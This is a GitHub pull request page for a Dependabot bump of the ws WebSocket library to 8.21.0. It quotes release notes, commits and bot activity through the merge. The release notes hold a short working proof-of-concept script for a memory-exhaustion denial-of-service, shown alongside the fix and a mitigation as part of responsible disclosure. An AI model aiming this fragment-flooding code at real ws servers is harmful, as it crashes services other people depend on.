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Bump ws from 8.19.0 to 8.21.0 - #660

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dependabot/npm_and_yarn/ws-8.21.0
Jul 29, 2026
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Bump ws from 8.19.0 to 8.21.0#660
koenrh merged 1 commit into
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dependabot/npm_and_yarn/ws-8.21.0

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@dependabot dependabot Bot commented on behalf of github Jun 16, 2026

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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jun 16, 2026
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This PR has been automatically marked as stale because it has not had any activity in the last 7 days. It will be closed if no further activity occurs in the next 7 days.

@github-actions github-actions Bot added the stale label Jun 24, 2026
@github-actions github-actions Bot closed this Jul 2, 2026
@dependabot @github

dependabot Bot commented on behalf of github Jul 2, 2026

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OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

@dependabot
dependabot Bot deleted the dependabot/npm_and_yarn/ws-8.21.0 branch July 2, 2026 04:53
@koenrh
koenrh restored the dependabot/npm_and_yarn/ws-8.21.0 branch July 29, 2026 10:08
@koenrh koenrh reopened this Jul 29, 2026
@koenrh
koenrh enabled auto-merge July 29, 2026 10:08
@koenrh
koenrh added this pull request to the merge queue Jul 29, 2026
Merged via the queue into main with commit 238463a Jul 29, 2026
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@koenrh
koenrh deleted the dependabot/npm_and_yarn/ws-8.21.0 branch July 29, 2026 10:21
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